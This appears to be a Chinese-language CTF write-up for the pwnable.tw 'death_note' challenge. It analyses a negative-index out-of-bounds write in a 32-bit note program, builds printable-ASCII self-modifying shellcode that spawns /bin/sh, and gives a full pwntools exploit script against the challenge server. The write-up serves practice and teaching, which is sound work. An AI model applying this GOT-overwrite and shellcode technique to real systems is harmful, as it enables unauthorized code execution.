1 程序分析

32 位,基本上啥保护都没开,这里显示开了 Canary,但是实际上反编译看是没有的

1
2
3
4
5
6
7
8
9
10
(pwn) secreu@Vanilla:~/code/pwnable/death_note$ checksec --file=death_note
[*] '/home/secreu/code/pwnable/death_note/death_note'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

1.1 add_note

输入一个 index,然后输入 name,用 strdup 分配堆块并将输入的 name 拷贝上去,堆块地址会写入 &note + v1,这是一个 .bss 节上的地址,但是它并没有限制 index 的下限,所以这里存在溢出

程序没有开 NX,我们可以输入负的 index 向上覆盖 GOT 表,将其中一个表项改成堆块地址,在堆块里写 shellcode

查阅资料可知,在 Linux 5.8 左右之后,堆内存的执行权限不再和栈内存执行权限同步,所以高版本的 heap 就没有写 shellcode 的说法了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int add_note()
{
int v1; // [esp+8h] [ebp-60h]
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v3; // [esp+5Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
v1 = read_int();
if ( v1 > 10 )
{
puts("Out of bound !!");
exit(0);
}
printf("Name :");
read_input(s, 0x50u);
if ( !is_printable(s) )
{
puts("It must be a printable name !");
exit(-1);
}
*(&note + v1) = strdup(s);
puts("Done !");
return __readgsdword(0x14u) ^ v3;
}

但是还有一个限制,写入堆块里的 name 必须是可见字符,具体来说就是每一个 byte 都要在 (0x1f, 0x7f) 中。

这里关于上界的代码表述为 s[i] == 127,但是实际上 char 是有符号的,其数值意义的最大整数就是 0x7f

1
2
3
4
5
6
7
8
9
10
11
int __cdecl is_printable(char *s)
{
size_t i; // [esp+Ch] [ebp-Ch]

for ( i = 0; strlen(s) > i; ++i )
{
if ( s[i] <= 31 || s[i] == 127 )
return 0;
}
return 1;
}

1.2 show_note

根据 index 打印堆块内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int show_note()
{
int result; // eax
int v1; // [esp+Ch] [ebp-Ch]

printf("Index :");
v1 = read_int();
if ( v1 > 10 )
{
puts("Out of bound !!");
exit(0);
}
result = (int)*(&note + v1);
if ( result )
return printf("Name : %s\n", (const char *)*(&note + v1));
return result;
}

1.3 del_note

根据 index 删除对应 note,不存在 UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int del_note()
{
int result; // eax
int v1; // [esp+Ch] [ebp-Ch]

printf("Index :");
v1 = read_int();
if ( v1 > 10 )
{
puts("Out of bound !!");
exit(0);
}
free(*(&note + v1));
result = v1;
*(&note + v1) = 0;
return result;
}

2 漏洞利用

思路很明确了,就是写可见字符的 shellcode

主要的难点在构造 int 0x80,我们需要在 shellcode 运行时修改 shellcode 中的最后一条指令,将其改成 \xcd\x80

所以我们需要有 rip 之外的寄存器能够索引 shellcode 地址,这里选择 free 即可,通过调试查看进入 free 时的寄存器状态。这里 rax 存放的是 shellcode 地址,edx 是 0

context

首先将 '/bin//sh\x00' 压栈,再令 ebx 保存其地址

1
2
3
4
5
6
# ebx -> '/bin//sh\x00'
push edx
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx

然后我们在 shellcode 的到最后写上 \x20\x7e 通过下面的方法修改成 \xcd\x80

1
2
3
4
5
6
7
8
9
10
11
push edx
push 0x53
pop edx
sub byte ptr [eax + 36], dl # 0x20 - 0x53 = 0xcd
pop edx

push edx
dec edx
dec edx
sub byte ptr [eax + 37], dl # 0x7e - 0xfe = 0x80
pop edx

最后将 eax = 0xbecx = edx = 0

1
2
3
4
5
6
7
8
9
# eax = 0xb
push edx
pop eax
xor al, 0x3b
xor al, 0x30

# ecx = edx = 0
push edx
pop ecx

3 利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

elf = ELF('./death_note')
context(os=elf.os, arch=elf.arch, log_level='debug')

def add(index, name):
io.sendafter(b'Your choice :', b'1')
io.sendafter(b'Index :', str(index).encode())
io.sendafter(b'Name :', name)

def show(index):
io.sendafter(b'Your choice :', b'2')
io.sendafter(b'Index :', str(index).encode())

def delete(index):
io.sendafter(b'Your choice :', b'3')
io.sendafter(b'Index :', str(index).encode())

def exploit():
note_addr = 0x804A060
free_got = elf.got['free']
idx = (free_got - note_addr) // 4

# 0x1F < BYTE < 0x7F
shellcode = asm(
'''
push edx
push 0x68732f2f
push 0x6e69622f
push esp
pop ebx

push edx
push 0x53
pop edx
sub byte ptr [eax + 36], dl
pop edx

push edx
dec edx
dec edx
sub byte ptr [eax + 37], dl
pop edx

push edx
pop eax
xor al, 0x3b
xor al, 0x30

push edx
pop ecx
'''
) + b'\x20\x7e\x00'

add(idx, shellcode)

delete(idx)

io.interactive()


if __name__ == "__main__":
# io = process(elf.path)
io = remote("chall.pwnable.tw", 10201)

exploit()